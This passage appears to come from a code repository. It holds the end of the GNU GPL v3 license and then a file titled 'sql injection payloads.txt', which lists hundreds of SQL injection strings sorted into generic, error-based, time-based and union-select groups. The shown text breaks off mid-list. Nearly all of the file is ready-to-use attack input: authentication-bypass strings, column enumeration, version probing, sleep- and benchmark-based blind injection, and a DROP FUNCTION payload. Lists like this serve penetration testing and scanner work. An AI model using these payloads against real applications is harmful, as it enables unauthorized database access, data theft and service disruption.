and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /sql injection payloads.txt: -------------------------------------------------------------------------------- 1 | Generic SQL Injection Payloads 2 | '' 3 | ` 4 | `` 5 | , 6 | " 7 | "" 8 | / 9 | // 10 | \ 11 | \\ 12 | ; 13 | ' or " 14 | -- or # 15 | ' OR '1 16 | ' OR 1 -- - 17 | " OR "" = " 18 | " OR 1 = 1 -- - 19 | ' OR '' = ' 20 | '=' 21 | 'LIKE' 22 | '=0--+ 23 | OR 1=1 24 | ' OR 'x'='x 25 | ' AND id IS NULL; -- 26 | '''''''''''''UNION SELECT '2 27 | %00 28 | /*…*/ 29 | + addition, concatenate (or space in url) 30 | || (double pipe) concatenate 31 | % wildcard attribute indicator 32 | 33 | @variable local variable 34 | @@variable global variable 35 | 36 | 37 | # Numeric 38 | AND 1 39 | AND 0 40 | AND true 41 | AND false 42 | 1-false 43 | 1-true 44 | 1*56 45 | -2 46 | 47 | 48 | 1' ORDER BY 1--+ 49 | 1' ORDER BY 2--+ 50 | 1' ORDER BY 3--+ 51 | 52 | 1' ORDER BY 1,2--+ 53 | 1' ORDER BY 1,2,3--+ 54 | 55 | 1' GROUP BY 1,2,--+ 56 | 1' GROUP BY 1,2,3--+ 57 | ' GROUP BY columnnames having 1=1 -- 58 | 59 | 60 | -1' UNION SELECT 1,2,3--+ 61 | ' UNION SELECT sum(columnname ) from tablename -- 62 | 63 | 64 | -1 UNION SELECT 1 INTO @,@ 65 | -1 UNION SELECT 1 INTO @,@,@ 66 | 67 | 1 AND (SELECT * FROM Users) = 1 68 | 69 | ' AND MID(VERSION(),1,1) = '5'; 70 | 71 | ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- 72 | 73 | 74 | Finding the table name 75 | 76 | 77 | Time-Based: 78 | ,(select * from (select(sleep(10)))a) 79 | %2c(select%20*%20from%20(select(sleep(10)))a) 80 | ';WAITFOR DELAY '0:0:30'-- 81 | 82 | Comments: 83 | 84 | # Hash comment 85 | /* C-style comment 86 | -- - SQL comment 87 | ;%00 Nullbyte 88 | ` Backtick 89 | 90 | 91 | 92 | Generic Error Based Payloads 93 | OR 1=1 94 | OR 1=0 95 | OR x=x 96 | OR x=y 97 | OR 1=1# 98 | OR 1=0# 99 | OR x=x# 100 | OR x=y# 101 | OR 1=1-- 102 | OR 1=0-- 103 | OR x=x-- 104 | OR x=y-- 105 | OR 3409=3409 AND ('pytW' LIKE 'pytW 106 | OR 3409=3409 AND ('pytW' LIKE 'pytY 107 | HAVING 1=1 108 | HAVING 1=0 109 | HAVING 1=1# 110 | HAVING 1=0# 111 | HAVING 1=1-- 112 | HAVING 1=0-- 113 | AND 1=1 114 | AND 1=0 115 | AND 1=1-- 116 | AND 1=0-- 117 | AND 1=1# 118 | AND 1=0# 119 | AND 1=1 AND '%'=' 120 | AND 1=0 AND '%'=' 121 | AND 1083=1083 AND (1427=1427 122 | AND 7506=9091 AND (5913=5913 123 | AND 1083=1083 AND ('1427=1427 124 | AND 7506=9091 AND ('5913=5913 125 | AND 7300=7300 AND 'pKlZ'='pKlZ 126 | AND 7300=7300 AND 'pKlZ'='pKlY 127 | AND 7300=7300 AND ('pKlZ'='pKlZ 128 | AND 7300=7300 AND ('pKlZ'='pKlY 129 | AS INJECTX WHERE 1=1 AND 1=1 130 | AS INJECTX WHERE 1=1 AND 1=0 131 | AS INJECTX WHERE 1=1 AND 1=1# 132 | AS INJECTX WHERE 1=1 AND 1=0# 133 | AS INJECTX WHERE 1=1 AND 1=1-- 134 | AS INJECTX WHERE 1=1 AND 1=0-- 135 | WHERE 1=1 AND 1=1 136 | WHERE 1=1 AND 1=0 137 | WHERE 1=1 AND 1=1# 138 | WHERE 1=1 AND 1=0# 139 | WHERE 1=1 AND 1=1-- 140 | WHERE 1=1 AND 1=0-- 141 | ORDER BY 1-- 142 | ORDER BY 2-- 143 | ORDER BY 3-- 144 | ORDER BY 4-- 145 | ORDER BY 5-- 146 | ORDER BY 6-- 147 | ORDER BY 7-- 148 | ORDER BY 8-- 149 | ORDER BY 9-- 150 | ORDER BY 10-- 151 | ORDER BY 11-- 152 | ORDER BY 12-- 153 | ORDER BY 13-- 154 | ORDER BY 14-- 155 | ORDER BY 15-- 156 | ORDER BY 16-- 157 | ORDER BY 17-- 158 | ORDER BY 18-- 159 | ORDER BY 19-- 160 | ORDER BY 20-- 161 | ORDER BY 21-- 162 | ORDER BY 22-- 163 | ORDER BY 23-- 164 | ORDER BY 24-- 165 | ORDER BY 25-- 166 | ORDER BY 26-- 167 | ORDER BY 27-- 168 | ORDER BY 28-- 169 | ORDER BY 29-- 170 | ORDER BY 30-- 171 | ORDER BY 31337-- 172 | ORDER BY 1# 173 | ORDER BY 2# 174 | ORDER BY 3# 175 | ORDER BY 4# 176 | ORDER BY 5# 177 | ORDER BY 6# 178 | ORDER BY 7# 179 | ORDER BY 8# 180 | ORDER BY 9# 181 | ORDER BY 10# 182 | ORDER BY 11# 183 | ORDER BY 12# 184 | ORDER BY 13# 185 | ORDER BY 14# 186 | ORDER BY 15# 187 | ORDER BY 16# 188 | ORDER BY 17# 189 | ORDER BY 18# 190 | ORDER BY 19# 191 | ORDER BY 20# 192 | ORDER BY 21# 193 | ORDER BY 22# 194 | ORDER BY 23# 195 | ORDER BY 24# 196 | ORDER BY 25# 197 | ORDER BY 26# 198 | ORDER BY 27# 199 | ORDER BY 28# 200 | ORDER BY 29# 201 | ORDER BY 30# 202 | ORDER BY 31337# 203 | ORDER BY 1 204 | ORDER BY 2 205 | ORDER BY 3 206 | ORDER BY 4 207 | ORDER BY 5 208 | ORDER BY 6 209 | ORDER BY 7 210 | ORDER BY 8 211 | ORDER BY 9 212 | ORDER BY 10 213 | ORDER BY 11 214 | ORDER BY 12 215 | ORDER BY 13 216 | ORDER BY 14 217 | ORDER BY 15 218 | ORDER BY 16 219 | ORDER BY 17 220 | ORDER BY 18 221 | ORDER BY 19 222 | ORDER BY 20 223 | ORDER BY 21 224 | ORDER BY 22 225 | ORDER BY 23 226 | ORDER BY 24 227 | ORDER BY 25 228 | ORDER BY 26 229 | ORDER BY 27 230 | ORDER BY 28 231 | ORDER BY 29 232 | ORDER BY 30 233 | ORDER BY 31337 234 | RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' 235 | RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' 236 | IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl-- 237 | IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl-- 238 | %' AND 8310=8310 AND '%'=' 239 | %' AND 8310=8311 AND '%'=' 240 | and (select substring(@@version,1,1))='X' 241 | and (select substring(@@version,1,1))='M' 242 | and (select substring(@@version,2,1))='i' 243 | and (select substring(@@version,2,1))='y' 244 | and (select substring(@@version,3,1))='c' 245 | and (select substring(@@version,3,1))='S' 246 | and (select substring(@@version,3,1))='X' 247 | 248 | 249 | 250 | 251 | Generic Time Based SQL Injection Payloads 252 | # from wapiti 253 | sleep(5)# 254 | 1 or sleep(5)# 255 | " or sleep(5)# 256 | ' or sleep(5)# 257 | " or sleep(5)=" 258 | ' or sleep(5)=' 259 | 1) or sleep(5)# 260 | ") or sleep(5)=" 261 | ') or sleep(5)=' 262 | 1)) or sleep(5)# 263 | ")) or sleep(5)=" 264 | ')) or sleep(5)=' 265 | ;waitfor delay '0:0:5'-- 266 | );waitfor delay '0:0:5'-- 267 | ';waitfor delay '0:0:5'-- 268 | ";waitfor delay '0:0:5'-- 269 | ');waitfor delay '0:0:5'-- 270 | ");waitfor delay '0:0:5'-- 271 | ));waitfor delay '0:0:5'-- 272 | '));waitfor delay '0:0:5'-- 273 | "));waitfor delay '0:0:5'-- 274 | benchmark(10000000,MD5(1))# 275 | 1 or benchmark(10000000,MD5(1))# 276 | " or benchmark(10000000,MD5(1))# 277 | ' or benchmark(10000000,MD5(1))# 278 | 1) or benchmark(10000000,MD5(1))# 279 | ") or benchmark(10000000,MD5(1))# 280 | ') or benchmark(10000000,MD5(1))# 281 | 1)) or benchmark(10000000,MD5(1))# 282 | ")) or benchmark(10000000,MD5(1))# 283 | ')) or benchmark(10000000,MD5(1))# 284 | pg_sleep(5)-- 285 | 1 or pg_sleep(5)-- 286 | " or pg_sleep(5)-- 287 | ' or pg_sleep(5)-- 288 | 1) or pg_sleep(5)-- 289 | ") or pg_sleep(5)-- 290 | ') or pg_sleep(5)-- 291 | 1)) or pg_sleep(5)-- 292 | ")) or pg_sleep(5)-- 293 | ')) or pg_sleep(5)-- 294 | AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe 295 | AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' 296 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) 297 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- 298 | AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# 299 | SLEEP(5)# 300 | SLEEP(5)-- 301 | SLEEP(5)=" 302 | SLEEP(5)=' 303 | or SLEEP(5) 304 | or SLEEP(5)# 305 | or SLEEP(5)-- 306 | or SLEEP(5)=" 307 | or SLEEP(5)=' 308 | waitfor delay '00:00:05' 309 | waitfor delay '00:00:05'-- 310 | waitfor delay '00:00:05'# 311 | benchmark(50000000,MD5(1)) 312 | benchmark(50000000,MD5(1))-- 313 | benchmark(50000000,MD5(1))# 314 | or benchmark(50000000,MD5(1)) 315 | or benchmark(50000000,MD5(1))-- 316 | or benchmark(50000000,MD5(1))# 317 | pg_SLEEP(5) 318 | pg_SLEEP(5)-- 319 | pg_SLEEP(5)# 320 | or pg_SLEEP(5) 321 | or pg_SLEEP(5)-- 322 | or pg_SLEEP(5)# 323 | '\" 324 | AnD SLEEP(5) 325 | AnD SLEEP(5)-- 326 | AnD SLEEP(5)# 327 | &&SLEEP(5) 328 | &&SLEEP(5)-- 329 | &&SLEEP(5)# 330 | ' AnD SLEEP(5) ANd '1 331 | '&&SLEEP(5)&&'1 332 | ORDER BY SLEEP(5) 333 | ORDER BY SLEEP(5)-- 334 | ORDER BY SLEEP(5)# 335 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj) 336 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# 337 | (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- 338 | +benchmark(3200,SHA1(1))+' 339 | + SLEEP(10) + ' 340 | RANDOMBLOB(500000000/2) 341 | AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) 342 | OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) 343 | RANDOMBLOB(1000000000/2) 344 | AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 345 | OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 346 | SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ 347 | 348 | 349 | 350 | Generic Union Select Payloads 351 | 352 | ORDER BY SLEEP(5) 353 | ORDER BY 1,SLEEP(5) 354 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) 355 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 356 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 357 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 358 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 359 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 360 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 361 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 362 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 363 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 364 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 365 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 366 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 367 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 368 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 369 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 370 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 371 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 372 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 373 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 374 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 375 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 376 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 377 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 378 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 379 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 380 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 381 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 382 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 383 | ORDER BY SLEEP(5)# 384 | ORDER BY 1,SLEEP(5)# 385 | ORDER BY 1,SLEEP(5),3# 386 | ORDER BY 1,SLEEP(5),3,4# 387 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# 388 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# 389 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# 390 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# 391 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# 392 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# 393 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# 394 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# 395 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# 396 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# 397 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# 398 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# 399 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# 400 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# 401 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# 402 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# 403 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# 404 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# 405 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# 406 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# 407 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# 408 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# 409 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# 410 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# 411 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# 412 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# 413 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# 414 | ORDER BY SLEEP(5)-- 415 | ORDER BY 1,SLEEP(5)-- 416 | ORDER BY 1,SLEEP(5),3-- 417 | ORDER BY 1,SLEEP(5),3,4-- 418 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- 419 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- 420 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- 421 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- 422 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- 423 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- 424 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- 425 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- 426 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- 427 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 428 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- 429 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- 430 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- 431 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 432 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 433 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 434 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 435 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 436 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 437 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 438 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 439 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 440 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 441 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 442 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 443 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 444 | ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 445 | UNION ALL SELECT 1 446 | UNION ALL SELECT 1,2 447 | UNION ALL SELECT 1,2,3 448 | UNION ALL SELECT 1,2,3,4 449 | UNION ALL SELECT 1,2,3,4,5 450 | UNION ALL SELECT 1,2,3,4,5,6 451 | UNION ALL SELECT 1,2,3,4,5,6,7 452 | UNION ALL SELECT 1,2,3,4,5,6,7,8 453 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9 454 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 455 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 456 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 457 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 458 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 459 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 460 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 461 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 462 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 463 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 464 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 465 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 466 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 467 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 468 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 469 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 470 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 471 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 472 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 473 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 474 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 475 | UNION ALL SELECT 1# 476 | UNION ALL SELECT 1,2# 477 | UNION ALL SELECT 1,2,3# 478 | UNION ALL SELECT 1,2,3,4# 479 | UNION ALL SELECT 1,2,3,4,5# 480 | UNION ALL SELECT 1,2,3,4,5,6# 481 | UNION ALL SELECT 1,2,3,4,5,6,7# 482 | UNION ALL SELECT 1,2,3,4,5,6,7,8# 483 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9# 484 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# 485 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# 486 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# 487 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# 488 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# 489 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# 490 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# 491 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# 492 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# 493 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# 494 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# 495 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# 496 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# 497 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# 498 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# 499 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# 500 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# 501 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# 502 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# 503 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# 504 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# 505 | UNION ALL SELECT 1-- 506 | UNION ALL SELECT 1,2-- 507 | UNION ALL SELECT 1,2,3-- 508 | UNION ALL SELECT 1,2,3,4-- 509 | UNION ALL SELECT 1,2,3,4,5-- 510 | UNION ALL SELECT 